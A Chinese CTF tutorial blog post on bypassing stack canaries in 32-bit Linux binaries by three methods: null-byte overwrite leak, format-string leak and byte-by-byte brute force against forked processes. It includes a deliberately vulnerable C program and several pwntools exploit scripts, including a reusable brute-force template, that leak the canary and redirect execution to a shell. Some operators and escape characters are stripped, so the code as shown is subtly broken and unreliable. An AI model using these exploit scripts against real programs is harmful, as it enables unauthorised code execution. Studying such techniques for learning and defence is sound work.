Pwn-多方式绕过Canary

2023-09-23 19:23:47 浏览数 (1)

原理

由于cannery保护就是在距离EBP一定距离的栈帧中,用于验证是否程序有构造缓冲区的危险。而cannery所在的位置一般也都在EBP-8的位置上存储着,因此 只要有机会泄露cannery的位置,我们便有机会溢出程序

泄露方式

覆盖00字节读取

原理

由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以x00为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将x0a覆盖至canary结尾的x00覆上,这样就能顺利的读出canary的数据了,之后再将cannary-x0a即可得到真实的canary的数据

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,泄露canary
    • 第二次是利用canary进行攻击

示例

代码语言:javascript复制
//gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}

void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i  ){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

buf的大小在100字节,但是在canary保护下当输入的数据超过100字节后就会触发canary,不过当我们正好输入100个字符时,末尾自动添加的换行符x0a便会将canary末尾的x00覆盖,这样的话,程序代码中的printf(buf)就直接能将canary的内容读取出来了,之后再减去x0a,拿canary的值填充至栈中,即可绕过canary保护完成栈溢出。

可以看到蓝框中的便是canary,末尾已经被0a填充,此时的canary是可以被printf直接读出的。

代码语言:javascript复制
#coding=utf-8
# from pwn import *

from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"

sh = process("./cover_00")
elf = ELF("./cover_00")

padding = 100*"A"
sh.recvuntil("Hello Hacker!n")
sh.sendline(padding)
sh.recvuntil(padding)
canary=u32(sh.recv(4))
canary = canary-ord('n') 
#由于canary的最后两字节被buf的换行符oa所覆盖,这里要减去才是真正的canary
success("Canary data => 0x%x",canary)
payload = padding
payload  = p32(canary)
payload  = "distance"   #距离EBP的位置
payload  = "ERet"       #EBP的ret  
payload  = p32(elf.sym['getshell'])
sh.sendline(payload)
sh.interactive()

格式化字符串读取

原理

利用格式化字符串漏洞的任意读

由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p或者%x等当作一个数来读

条件

存在格式化字符串漏洞

示例

还是上面的程序,看源代码有print(buf)一行出现了格式化字符串漏洞,我们可以试着多打印一些地址的内容,找末尾始终为00的一串数据

在第31处便是我们要寻找的canary了,可以使用1$p直接打印出来,之后的步骤同上一方法。

代码语言:javascript复制
# coding:utf-8
from pwn import *
context.terminal=['tmux',"splitw","-h"]
context.log_level='debug'

sh = process("./cover_00")
elf = ELF("./cover_00")

payload1 = '%' str(31) '$' 'p'
sh.recvuntil("Hello Hacker!n")
sh.sendline(payload1)
sh.recvuntil("0x")
canary=int(sh.recv(8),16)
success("canary => " hex(canary))
payload2 = "a"*100
payload2  = p32(canary)
payload2  = "b"*8 "b"*4
payload2  = p32(elf.sym['getshell'])
sh.sendline(payload2)
sh.interactive()

One by one 爆破猜解

原理

对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存

最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。

如果某一位爆破成功 x00xXX将会覆盖当前的canary末尾的这两位,使之程序认为这便是原有的canary,所以程序会继续运行,反之则会报错,由此来判断是否爆破成功(这里 愚钝的我思考了很久很久…)。

利用条件

要求程序中有fork函数,可以使程序扩展子程序

示例

blasting_canary

IDA打开可以看到程序中有一个fork()函数再一直创建子程序, 基本步骤和上面一样,先填充100个字符占满buf之后我们一一尝试canary的前三个字节,利用不成功则崩溃的原理,我们可以写个循环挨个尝试每一位

代码语言:javascript复制
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
sh = process("./blasting_canary")
elf = ELF("./blasting_canary")
sh.recvuntil('welcomen')
canary = 'x00'
for k in range(3):
  for i in range(256):
​    print "-------------  No."   str(k)   ":"   chr(i) "  -------------"
​    sh.send('a'*100   canary   chr(i))
​    recv = sh.recvuntil("welcomen")
​    print recv
​    if "sucess" in recv:
​        #当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
​        canary  = chr(i)
​        #将其加入已知的canary中,继续爆破下一位
​        success("canary =>" canary)
​        break
getshell = 0x0804863B
payload = 'A' * 100   canary   'A' * 12   p32(getshell)
sh.send(payload)
sh.interactive()

模板

代码语言:javascript复制
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'

bin_elf = "./blasting_canary"
#global sh 
sh = process(bin_elf)
elf = ELF(bin_elf)

def blasting(offset,input_prompt):
    #偏移量,输入提示,正确提示
    sh.recvuntil(input_prompt 'n')
    canary = 'x00'
    for k in range(3):
        for i in range(256):
            success("Canary ->" canary)
            print "n-------------   No."   str(k)   ":"   chr(i) "   -------------"
            sh.send('A'*offset   canary   chr(i))
            recv = sh.recvuntil(input_prompt "n")
            print "----" recv
            if "stack smashing detected" in recv:
                continue
            else:
                #当前字符i传入程序后可以接受到程序正常的反馈信息,则代表正确
                canary  = chr(i)
                #将其加入已知的canary中,继续爆破下一位
                success("Canary =>" canary)
                break
    return canary

canary = blasting(100,"welcome")
payload = 'A' * 100   canary   'A' * 12   p32(0x0804863B)
sh.send(payload)
sh.interactive()

学习参考

https://blog.csdn.net/chennbnbnb/article/details/103968714 https://blog.csdn.net/AcSuccess/article/details/104119680?utm_medium=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase https://www.52pojie.cn/thread-932096-1-1.html

0 人点赞